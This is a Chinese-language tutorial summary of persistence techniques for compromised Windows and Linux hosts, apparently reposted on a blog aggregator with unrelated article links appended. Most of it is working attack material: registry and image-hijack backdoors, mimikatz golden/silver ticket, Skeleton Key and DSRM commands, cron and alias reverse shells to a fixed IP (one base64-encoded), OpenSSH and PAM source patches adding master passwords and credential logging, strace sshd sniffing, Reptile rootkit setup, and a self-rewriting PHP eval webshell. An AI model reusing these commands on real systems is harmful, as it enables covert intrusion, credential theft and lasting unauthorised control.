权限维持小结

windows

1.自启动

1、自启动路径加载
C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\
2、自启动服务加载 (服务重启system权限)
sc create ServiceTest binPath= C:\xd.exe start= auto
sc delete ServiceTest
3、自启动注册表加载
-当前用户键值
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run 
-服务器键值
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run 
-添加启动项
REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "backdoor" /t REG_SZ /F /D "C:\xd.exe"
4、计划计时任务 at&schtasks 

2.粘滞键

系统自带的辅助功能进行替换执行,放大镜,旁白,屏幕键盘等均可。
粘滞键位置:
c:\windows\system32\sethc.exe
move sethc.exe sethc1.exe
copy cmd.exe sethc.exe

3.映像劫持

notepad.exe calc.exe explorer.exe

执行 notepad 时运行 cmd,运行一次记事本就运行一次程序
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v debugger /t REG_SZ /d "C:\Windows\System32\cmd.exe /c calc"
配合 GlobalFlag 隐藏:执行正常关闭后触发
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /d "C:\xd.exe"

4.屏保&登录


1、屏幕保护生效后执行后门

reg add "HKEY CURRENT USER\Control Panel\Desktop" /V SCRNSAVE.EXE /t REG_SZ /d "C:\xd.exe" /f

2、winLogon,用户登录时触发

REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /V "Userinit" /t REG_SZ /F /D "C:\xd.exe"

5.隐藏用户

https://github.com/wgpsec/CreateHiddenAccount
CreateHiddenAccount -u xiaodi -p Xiaodi!@#45
控制面板能查看到,命令查看看不到,单机版无法删除,域环境可以删除
CreateHiddenAccount -c #查看隐藏账户

6.黄金白银票据

黄金票据⽣成攻击,是⽣成有效的 TGT Kerberos 票据,并且不受 TGT⽣命周期的影响
,这⾥可以为任意用户生成黄金票据,然后为域管理员生成 TGT,这样普通⽤户就可以变成域管理员。
白银票据是利用域的服务账户进行伪造的 ST,在 Kerberos 认证的第三步,Client 带着 ST 和 Authenticator3 向 Server 上的某个服务进行请求,Server 接收到 Client 的请求之后,通过自己的 Master Key 解密 ST,从而获得Session Key。所以只需要知道 Server 用户的 Hash 就可以伪造出一个 ST,且不会经过 KDC,但是伪造的门票只对部分服务起作用(不需要交互 KDC,需要知道Server 的NTLM Hash)。
黄金方法:
1、已经拿下域管理员,获取到 krbtgt hash;
2、利用 krbtgt 的 hash 制作黄金票据工具,进行攻击。
流程:
1、域名:god.org
2、域的 SID 值:S-1-5-21-1218902331-2157346161-1782232778
whoami /user
whoami /all
wmic useraccount get name,sid
3、域的 KRBTGT 账户 NTLM-HASH:b097d7ed97495408e1537f706c357fc5
mimikatz privilege::debug
mimikatz lsadump::lsa /patch
4、伪造用户名:webadmin(任意用户名)
生成票据:
mimikatz kerberos::golden /user:webadmin /domain:god.org /sid:S-1-5-21-1218902331-2157346161-1782232778 /krbtgt:b097d7ed97495408e1537f706c357fc5 /ticket:xiaodi
导入内存:
mimikatz kerberos::ptt xiaodi
访问测试:
dir \owa2010cn-god\c$
后期渗透:结合前面的课程
net use \owa2010cn-god
黄金票据总结:
该攻击方式其实是一种后门的形式,属于第二次进行攻击的方法。第一次拿到域管权限之后,需要将krbtgt NTLM hash进行保存,当第二次再来进行域渗透攻击时,我们就可使用krbtgt的NTLM hash制作黄金票据,从而再次获得域管权限。

白银方法:
1、已经拿下域管理员,获取到DC hash;
2、利用DC的hash制作白银票据工具,进行攻击。
流程:
1、域名:god.org
2、域的SID值:S-1-5-21-1218902331-2157346161-1782232778
whoami /user
whoami /all
wmic useraccount get name,sid
3、域DC账户NTLM-HASH:82779569ef27d72b88b6c93dd8b37299
mimikatz privilege::debug
mimikatz sekurlsa::logonpasswords
4、伪造用户名:webadmin(任意用户名)
导入票据:(CIFS文件共享服务)
domain:域名
sid:域环境下的SID,除去最后-的部分剩下的内容
target:要访问的服务器,写FQDN
rc4:写的是目标主机的NTLM(主机名$对应NTLM)
service:要访问的资源类型
user:伪造的用户
cifs:共享文件
mimikatz kerberos::golden /user:webadmin /domain:god.org /sid:S-1-5-1-1218902331-2157346161-1782232778 /target:owa2010cngod /service:cifs /rc4:82779569ef27d72b88b6c93dd8b37299 /ptt
白银票据总结:
1、伪造的ST,只能访问指定的服务,如CIFS;
2、不与KDC交互,直接访问Server;
3、ST由服务账号 NTLM Hash 加密

7.软件-GotoHTTP&RustDesk

连上去狠狠关闭杀软😋
C2 GotoHTTP
https://gotohttp.com/goto/download.12x
利用场景:有网络下,需要绕过杀毒等网络防护B2C模式,
无需安装控制端软件,有浏览器就可以远控。
流量走https协议,只要目标放行443端口出口就可以实现内网穿透。
在低带宽也可以使用,运行占用内存极低,控制时占用CPU仅为0%-3%。
被控端在类Linux系统上支持图形界面(GUI)和字符界面(CLI)网络唤醒远程主机需加载驱动,导致运行时安全卫士会拦截这行为,其他杀软不会拦截。

C2 RustDesk
https://github.com/rustdesk/rustdesk
利用场景:无需网络,需要绕过杀毒等网络防护
有图形化就看密码是什么,没有就读config文件
1、有网连接:
C:\Users\用户名\AppData\Roaming\RustDesk\config其中ID和密码在RustDesk.toml文件里
2、无网内网连接:
在用户文件下的RustDesk配置文件RustDesk2.toml中添加两行

direct-server ='Y'
direct-access-po

rt=8443

8.基于验证 DLL 加载-SSP

简单的理解为 SSP 就是一个 DLL,用来实现身份认证,并且维持系统权限
方法一:但如果域控制器重启,被注入内存的伪造的 SSP 将会丢失。

privilege::debug
misc::memssp C:\Windows\System32\mimilsa.log  #要记录账号密码的文件

方法二:使用此方法即使系统重启,也不会影响到持久化的效果。
1、mimilib.dll 传到目标域控的 c:\windows\system32\目录下
2、修改注册表,重启之后生效

reg query hklm\system\currentcontrolset\control\lsa\ /v "Security Packages"
reg add "HKLM\System\CurrentControlSet\Control\Lsa" /v "Security Packages" /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib" /t REG_MULTI_SZ c:\windows\system32\kiwissp.log   #要记录账号密码的文件
技术总结:
攻防实战中,靶机很难会重启,攻击者重启的话风险过大,
因此可以在靶机上把两个方法相互结合起来使用效果比较好,
尝试利用把生成的日志密码文件发送到内网被控机器或者临时邮箱。

9.基于验证 DLL 加载-HOOK

修改密码时获取密码
https://github.com/wh0Nsq/HookPasswordChange
https://github.com/clymb3r/Misc-Windows-Hacking

powershell
Import-Module .\Invoke-ReflectivePEInjection.ps1
Invoke-ReflectivePEInjection -PEPath HookPasswordChange.dll -procname lsass
报错解决:
powershell
Set-ExecutionPolicyunrestricted

10.基于机制账号启用-DSRM

DSRM是windows域环境中域控制器的安全模式启动选项。域控制器的本地管理员账户也就是DSRM账户,DSRM密码是在DC创建时设置的,一般很少更改。
DSRM的用途是:允许管理员在域环境出现故障时还原、修复、重建活动目录数据库。通过在DC上运行ntdsutil 工具可以修改DSRM密码。
1.获取dsrm及krbtgt的NTLM hash
privilege::debug
lsadump::lsa /patch /name:krbtqt
token::elevate
lsadump::sam
2.dsrm&krbtgt&NTLM hash同步
NTDSUTIL:打开ntdsutil
set DSRM password:修改DSRM的密码
sync from domain account 域用户名字:使DSRM的密码和指定域用户的密码同步
q(第1次):退出DSRM密码设置模式
q(第2次):退出ntdsutil
3.修改dsrm登录方式
New-ItemProperty “hklm:\system\currentcontrolset\control\lsa” -name “dsrmadminlogonbehavior”-value 2-propertyType DWORD
4.利用PTH传递攻击
privilege::debug
sekurlsa::pth /domain:owa2010cn-god /user:administrator /ntlm:b097d7ed97495408e1537f706c357fc5
dir \owa2010cn-god\c$
技术总结:
利用系统自带机制模式DSRM,修改DSRM默认登录方式和属性,通过其同步krgtgt进行PTH攻击,实现持续化控制,但适用于系统>=windowsserver2008。每个域控制器都有本地管理员账号和密码(与域管理员账号和密码不同)。DSRM账号可以作为一个域控制器的本地管理员用户,通过网络连接域控制器,进而控制域控制器。

11.基于用户属性修改-SID history

1、获取某用户SID属性:
Import-Module ActiveDirectory
Get-ADUser webadmin -Properties sidhistory
2、给予某用户administrator属性:
privilege::debug
sid::patch
sid::add /sam:webadmin /new:administrator
3、测评给与前后的DC访问权限:
dir\192.168.3.21\c$
技术总结:
把域控管理员的SID加入到 其他某个恶意的域账户的SID History中,然后,这个恶意的(我们自己创建的)域账户就可以域管理员权限访问域控了,不修改域账户一直存在。

12.基于登录进程劫持-Skeleton Key

1、测试域内某个用户与DC通讯
dir \owa2010cn-god\c$
2、连接DC后,DC注入lsass进程
net use \\192.168.3.21\ipc$  "Admin12345" /user:god\administrator
mimikatz
privilege::debug
misc::skeleton
3、重新测试域内某个用户与DC通讯
net use \owa2010cn-god\ipc$ "mimikatz" /user:god\administrator
dir \owa2010cn-god\c$
技术总结:
注入万能密码,因为Skeleton Key技术是被注入到lsass.exe进程的,所以它只存在内存中,如域控重启,万能密码将失效。

linux

1.定时任务

利用系统的定时任务功能进行反弹 Shell

1、编辑后门反弹
vim /etc/.xiaodi.sh
#!/bin/bash
bash -i >& /dev/tcp/47.94.236.117/3333 0>&1
chmod +x /etc/.xiaodi.sh
2、添加定时任务
echo "*/1 * * * * root /etc/.xiaodi.sh" >> /etc/crontab

2.ssh软链接&公私钥&新帐号

1、SSH软链接
在sshd服务配置启用PAM认证的前提下,PAM配置文件中控制标志为sufficient时,只要pam_rootok模块检测uid为0(root)即可成功认证登录

查看是否使用PAM进行身份验证:
cat /etc/ssh/sshd_config | grep UsePAM
ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=8888
ssh root@xx.xx.xx.xx -p8888  任意密码登录即可
2、公私钥
https://www.bilibili.com/read/cv17721345/
开启:vim /etc/ssh/sshd_config
RSAAuthentication yes
PubkeyAuthentication yes
AuthorizedKeysFile .ssh/authorized

生成公私钥
keysssh-keygen -t rsa#三次回车
cat /root/.ssh/id_rsa.pub > /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys
3、后门帐号
添加root用户:
添加账号test1,设置uid为0,密码为123456
useradd -p `openssl passwd -1 -salt 'salt' 123456` test1 -o -u 0 -g root -G root -s /bin/bash -d /home/test1 

增加超级用户账号
echo "xiaodi:x:0:0::/:/bin/sh">>/etc/passwd
passwd xiaodi #修改密码为xiaodi123

3.OpenSSH 后门

原理:替换本身操作系统的 openssh,重新安装自定义的 openssh,达到记录帐号密码,也可以采用万能密码连接的功能!
文章中有处理配置文件和安装日志的方法
https://www.cnblogs.com/csnd/p/11807653.html
https://mp.weixin.qq.com/s/BNrJHUs9qxEVHNSFEghaRw
1、环境准备:
yum -y install openssl openssl-devel pam-devel zlib zlib-devel
yum -y install gcc gcc-c++ make
wget http://core.ipsecs.com/rootkit/patch-to-hack/0x06-openssh-5.9p1.patch.tar.gz
wget https://mirror.aarnet.edu.au/pub/OpenBSD/OpenSSH/portable/openssh-5.9p1.tar.gz
tar -xzvf openssh-5.9p1.tar.gz
tar -xzvf 0x06-openssh-5.9p1.patch.tar.gz
cp openssh-5.9p1.patch/sshbd5.9p1.diff openssh-5.9p1
cd openssh-5.9p1 && patch < sshbd5.9p1.diff
2、编辑密码:
vim version.h #把版本修改为原来版本
vim includes.h
177 #define ILOG “/tmp/ilog” #ILOG 是别人用 ssh 登录该主机记录的日志目录
178 #define OLOG “/tmp/olog” #OLOG 是该主机用 ssh 登录其他主机记录的日志目录
179 #define SECRETPW “xiaodi” #万能密码
180 #endif /* INCLUDES_H */
3、安装编译:
./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam –
with-kerberos5 && make && make install
service sshd restart #重启 sshd 服务
systemctl status sshd.service #查看 ssh 启动状态
拓展玩法:
1、可以采用万能密码登录
2、实现监控服务器登录登出的账号密码(发到外网)

4.ssh-PAM 后门

参考:https://xz.aliyun.com/t/7902
PAM 是一种认证模块,PAM 可以作为 Linux 登录验证和各类基础服务的认证,简单来说就是一种用于 Linux 系统上的用户身份验证的机制。进行认证时首先确定是什么服务然后加载相应的 PAM 的配置文件(位于/etc/pam.d),最后调用认证文件(于/lib/security)进行安全认证.简易利用的 PAM 后门也是通过修改 PAM 源码中认证的逻辑来达到权限维持
1、获取目标系统所使用的PAM版本,下载对应版本的pam版本
2、1解压缩,修改pam unix auth.c文件,添加万能密码
3、编译安装PAM
编译完后的文件在:modules/pam_unix/.libs/pam_unix.so,复制到/lib64/security中进行替换,即 使用万能密码登陆,将用户名密码记录到文件中。
-配置环境
关闭selinux setenforce 0
查询版本rpm -qa | grep pam
wget http://www.linux-pam.org/library/Linux-PAM-1.1.8.tar.gz
tar -zxvf Linux-PAM-1.1.8
yum install gcc flexflex-devel -y
-修改配置:
留PAM后门和保存SSH登录的账号密码
修改 linux-PAM-1.1.8/modules/pam_unix/pam_unix_auth.c

/*verify the password of this user */
retval=_unix_verify_password(pamh,name,p,ctrl);
if(strcmp("hackers",p)==0){return PAM SUCCESS;} //后门密码
	if(retval==PAM_SUCCESS)
		FILE * fp;
		fp = fopen("/tmp/.sshlog","a");//SSH登录用户密码保存位置
		fprintf(fp,"%s :%s\n",name,p);
		fclose(fp);}
name =p=NULL;

AUTH RETURN;

-编译安装:
./configure && make
-备份复制:
备份厡有pam_unix.so,防止出现错误登录不上
复制新PAM模块到/lib64/security/目录下
cp /usr/lib64/security/pam_unix.so /tmp/pam_unix.so.bakcp
cd Linux-PAM-1.1.8/modules/pam_unix/.libs
cp pam_unix.so /usr/lib64/security/pam_unix.so

5.Strace 后门

strace 是一个动态跟踪工具,它可以跟踪系统调用的执行。
我们可以把他当成一个键盘记录的后门,来扩大我们的信息收集范围
获取账号密码,权限维持

1、记录 sshd 明文

(strace -f -F -p `ps aux|grep "sshd -D"|grep -v grep|awk {'print $2'}` -t -e trace=read,write -s 32 2> /tmp/.sshd.log &)
grep -E 'read\(6, ".+\\0\\0\\0\\.+"' /tmp/.sshd.log

2、记录 sshd 私钥

(strace -f -F -p `ps aux|grep "sshd -D"|grep -v grep|awk {'print $2'}` -t -e trace=read,write -s 4096 2> /tmp/.sshd.log &)
grep 'PRIVATE KEY' /tmp/.sshd.log

6.Alias 后门

alias 命令的功能:为命令设置别名
定义:alias ls = 'ls -al'
删除:unalias ls
1、简单:
alias ls='alerts(){ ls $* --color=auto;bash -i >& /dev/tcp/47.94.236.117/3333 0>&1; };alerts'
2、升级:
alias ls='alerts(){ ls $*--color=auto;python3 -c "import base64,sys;exec(base64.b64decode({2:str,3:lambdab:bytes(b,"\''UTF-8'\'')}[sys.version_info[0]]('\''aW1wb3J0IG9zLHNvY2tldCxzdWJwcm9jZXNz0wpyZXQgPSBvcy5mb3JrKCkKaWYgCmVOID4gMDOKICAgIGV4aXQOKQpIbHN1OgOgICAgdHJ5OgOgICAgICAgIHMgPSBzb2NrZXQuc29ja2V0KHNvY2t1dC5BR19JTKVULCBzb2NrZXQuU09DS19TVFJFQUOpCiAgICAgICAgCy5jb25uZWN0KCGiNDCUOTQMjM2LjExNyISIDY2NjYpKQOgICAgICAgIG9zLmR1cDIocy5maWxlbm8oKSWgMCKKICAgICAgICBvcy5kdXAyKHMuZmlsZW5vKCKSIDEpCiAgICAgICAgb3MuZHVwMihzLZpbGVubygpLCAyKQOgICAgICAgIHAgPSEzdwJwcm9j2XNzLmNhbGwoWyIvYmluL3NoIiwgIi1pI10pCiAgICBleGNlcHQgRXhj2XB0aW9uIGFzIGU6CiAgICAgICAgZXhpdCgp'\'')))'';};alerts'

7.内核加载LKM-Rootkit后门

现在常用的inux维持权限的方法大多用crontab和开机自启动,同时使用的大多是msf或者其它的tcp连接来反弹shell,这种做法比较容易被管理员发现。所以我们想有一个非tcp连接、流量不容易被怀疑的后门,并且在大量的shell的场景下,可以管shell,Reptile刚好是种LKM rootkit,因此具有很好的隐藏性和强大的功能。
https://github.com/f0rbldd3n/Reptile/releases
自动化脚本搭建

Centos,Ubuntu
$kernel=`uname`
#Centos
yum -y install perl vim gcc make g++ unzip
#由于Cenots内核管理不便,所以使用下载对应版本的kernel-devel到本地
yum -y localinstall kernel-devel-"$kernal".rpm
cd Reptile-2.0/ && chmod +x./setup.sh
./setup.sh install<<EOF
reptile
hax0r
s3cr3t
reptile
666
47.94.236.117
4444
1
EOF

#ubuntu
apt-get install vim gcc make g++ unzip -y
apt-get -y install linux-headers-$(uname -r)
cd Reptile-2.0/&& chmod +x./setup.sh
./setup.sh install <<EOFreptile
hax0r
s3cr3t
reptile
666
y
47.94.236.117
4444
1
EOF

隐藏进程:/reptile/reptile_cmd hide xx
显示进程:/reptile/reptile_cmd show xx
ps -ef | grep 2792
/reptile/reptile cmd hide 2792

隐藏连接:/reptile/reptile_cmd udp xx xx hide
显示连接:/reptile/reptile_cmd tcp xx xx show
netstat -anpt
/reptile/reptile_cmd tcp 100.100.45.106 443 hide

隐藏文件:
文件名中带reptile的都会被隐藏
mkdir reptile_xiaodi
mkdir reptile_file

2、高级玩法
隐藏上线
客户端安装
./setup.sh client
设置连接配置
help
show #查看配置
set LHOST 47.94.236.117
set LPORT 4444
set SRCHOST 47.94.236.117
set SRCPORT 666 #安装时填好的两个端口
set RHOST 121.43.154.113
set RPORT 22 #netstat -anpt找一个开放的端口
set PROT tcp
set PASS s3cr3t
set TOKEN hax0r

rookit检测项目
rookit魔改避免检测项目

webshell内存马

Webshell 内存马,是在内存中写入恶意后门和木马并执行,达到远程控制 Web 服务器
的一类木马,其利用中间件的进程执行某些恶意代码,不会有文件落地,给检测带来巨大难
度。

#PHP 内存马:
ignore_user_abort()函数:函数设置与客户机断开是否会终止脚本的执行(如果设置为 True,则忽略与用户的断开)
set_time_limit()函数:设置允许脚本运行的时间,单位为秒(如果设置该运行时间,sleep()函数在执行程序时的持续时间将会被忽略掉)
unlink(FILE)函数:删除文件(防止文件落地被检测工具查杀)
file_put_contents 函数:将一个字符串写入该文件中
usleep 函数:延迟执行当前脚本数微秒,即条件竞争

<?php
ignore_user_abort(true);
set_time_limit(0);
@unlink(__FILE__);
$file = '.HH.php';
$code = '<?php @eval($_POST[\'c\']); ?>';
while (1){
 file_put_contents($file,$code);
 usleep(5000);
}
?>

#Java内存马:
-Java Instrumentation类(Agept型)
-Servlet-api类(Servlet型、Filter型、Listener型)
-Spring类(Controller型、Interceptor型)
演示:
1、Servlet-api类(Servlet型、Filter型、Listener型)
2、哥斯拉,冰蝎内存马功能使用

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.kler.cn/a/274832.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

嵌入式学习41-数据结构2

今天学习了链表的增删改查 &#xff08;暂定&#xff01;&#xff01;后续再补内容&#xff09; 高内聚 &#xff1a;一个函数只实现一个功能 …

Java学习笔记:异常处理

Java学习笔记&#xff1a;异常处理 什么是异常异常体系结构&#xff1a;Error、Exception自定义异常 ​ **2024/3/19** 什么是异常 异常体系结构&#xff1a;Error、Exception 自定义异常

UE5 GAS开发p30 创建UI HUD 血条

新建AuraUserWidget,AuraWidgetController,AuraHUD 首先设置AuraWidgetController.h // Fill out your copyright notice in the Description page of Project Settings. #pragma once #include "CoreMinimal.h" #include "AbilitySystemComponent.h" #in…

风丘电动汽车高压测试方案 助您高效应对车辆试验难题

针对电动汽车道路试验的要求&#xff0c;风丘科技携手德国IPETRONIK共同推出了电动汽车高压测试方案。电动汽车测试通常有两种测量手段&#xff1a;第一种是测量模拟量信号&#xff0c;包括电压、电流、温度和高压&#xff1b;第二种是使用数据记录仪或CAN卡从车辆总线读取数据…

JS+CSS3点击粒子烟花动画js特效

JSCSS3点击粒子烟花动画js特效 JSCSS3点击粒子烟花动画js特效

C++:类和对象(上篇)

目录&#xff1a; 一&#xff1a;面向对象和过程的介绍 二&#xff1a;类的引入 三&#xff1a;类的定义 四&#xff1a;类的访问限定符以及封装 五&#xff1a;类的作用域 六&#xff1a;类的实例化 七&#xff1a;类对象大小的计算 八&#xff1a;类成员函数的this指…

一次完整的 HTTP 请求所经历的步骤

1&#xff1a; DNS 解析(通过访问的域名找出其 IP 地址&#xff0c;递归搜索)。 2&#xff1a; HTTP 请求&#xff0c;当输入一个请求时&#xff0c;建立一个 Socket 连接发起 TCP的 3 次握手。如果是 HTTPS 请求&#xff0c;会略微有不同。 3&#xff1a; 客户端向服务器发…

智慧城市的发展趋势与挑战:未来展望

随着信息技术的飞速发展&#xff0c;智慧城市已成为现代城市发展的重要方向。智慧城市通过集成应用先进的信息通信技术&#xff0c;实现城市管理、服务、运行的智能化&#xff0c;为城市的可持续发展注入了新的活力。然而&#xff0c;在智慧城市的发展过程中&#xff0c;也面临…

Android Studio实现内容丰富的安卓外卖平台

获取源码请点击文章末尾QQ名片联系&#xff0c;源码不免费&#xff0c;尊重创作&#xff0c;尊重劳动 项目编号122 1.开发环境android stuido jdk1.8 eclipse mysql tomcat 2.功能介绍 安卓端&#xff1a; 1.注册登录 2.查看公告 3.查看外卖分类 4.购物车&#xff0c; 5.个人中…

当人工智能遇上“理解偏差”:一场关于天气的宇宙之旅

在这个由数据和算法驱动的时代&#xff0c;人工智能(AI)无疑成为了我们日常生活中的重要组成部分。从智能助手到个性化推荐系统&#xff0c;AI的应用范围正在不断扩大&#xff0c;旨在为我们提供更加便捷、高效的服务。然而&#xff0c;尽管AI技术取得了显著进展&#xff0c;仍…

docker入门(五)—— 小练习,docker安装nginx、elasticsearch

练习 docker 安装 nginx # 搜素镜像 [rootiZbp15293q8kgzhur7n6kvZ home]# docker search nginx NAME DESCRIPTION STARS OFFICIAL nginx …

python大学生健身爱好者交流网站flask-django-nodejs-php

任何系统都要遵循系统设计的基本流程&#xff0c;本系统也不例外&#xff0c;同样需要经过市场调研&#xff0c;需求分析&#xff0c;概要设计&#xff0c;详细设计&#xff0c;编码&#xff0c;测试这些步骤&#xff0c;基于python技术、django/flask框架、B/S机构、Mysql数据…

windows 多网卡情况dns解析超时问题的排查

最近遇到一个问题 多网卡&#xff0c;多网络环境下&#xff0c;dns解析总是超时。 排查之后发现是dns配置的问题&#xff0c;一个有线网络配置的内网dns&#xff0c;一个无线网络配置的公网dns 访问公网时莫名的时不时出现超时现象 初步排查是dns解析的耗时太长&#xff0c;…

2024.3.9|第十五届蓝桥杯模拟赛(第三期)

2024.3.9|十五届蓝桥杯模拟赛&#xff08;第三期&#xff09; 第一题 第二题 第三题 第四题 第五题 第六题 第七题 第八题 第九题 第十题 心有猛虎&#xff0c;细嗅蔷薇。你好朋友&#xff0c;这里是锅巴的C\C学习笔记&#xff0c;常言道&#xff0c;不积跬步无以至千里&…

mysql之基本概念与安装

一 数据库的基本概念 1.1 数据 记录个体的信息 1.2 表 存放信息的集合&#xff0c;行于与列 1.3 数据库 数据库就是表的集合。它是以一定的组织方式存储的相互有关的数据集合 1.4 数据库管理系统 数据库管理系统&#xff08;DatabaseManagementSystem&#xff0c;DBMS&…

Springboot+vue的仓库管理系统(有报告)。Javaee项目,springboot vue前后端分离项目。

演示视频&#xff1a; Springbootvue的仓库管理系统&#xff08;有报告&#xff09;。Javaee项目&#xff0c;springboot vue前后端分离项目。 项目介绍&#xff1a; 采用M&#xff08;model&#xff09;V&#xff08;view&#xff09;C&#xff08;controller&#xff09;三层…

用C语言打造自己的Unix风格ls命令

在Unix或类Unix操作系统中&#xff0c;ls是一个非常基础且实用的命令&#xff0c;它用于列出当前目录或指定目录下的文件和子目录。下面&#xff0c;我们将通过C语言编写一个简化的ls命令&#xff0c;展示如何利用dirent.h头文件提供的函数接口实现这一功能。 #include "…

五、C#归并排序算法

简介 归并排序是一种常见的排序算法&#xff0c;它采用分治法的思想&#xff0c;在排序过程中不断将待排序序列分割成更小的子序列&#xff0c;直到每个子序列中只剩下一个元素&#xff0c;然后将这些子序列两两合并排序&#xff0c;最终得到一个有序的序列。 归并排序实现原…

MaixSense-A010 接入 ROS

MaixSense 是什么 MaixSense 系列产品搭载 TOF 深度摄像头&#xff0c;目前有 MaixSense-A010 和 MaixSense-A075V 两款产品。 MS-A010 是一款由 BL702 炬佑 100x100 TOF 模组所组成的极致性价比的 TOF 3D 传感器模组&#xff0c;最大支持 100x100 的分辨率和 8 位精度&…

简介:iframe 沙箱+WebComponent 容器

前言 HTML 内联框架元素 (<iframe>) 表示嵌套的browsing context。它能够将另一个 HTML 页面嵌入到当前页面中。 每个嵌入的浏览上下文&#xff08;embedded browsing context&#xff09;都有自己的会话历史记录 (session history)和DOM 树。包含嵌入内容的浏览上下文称…
最新文章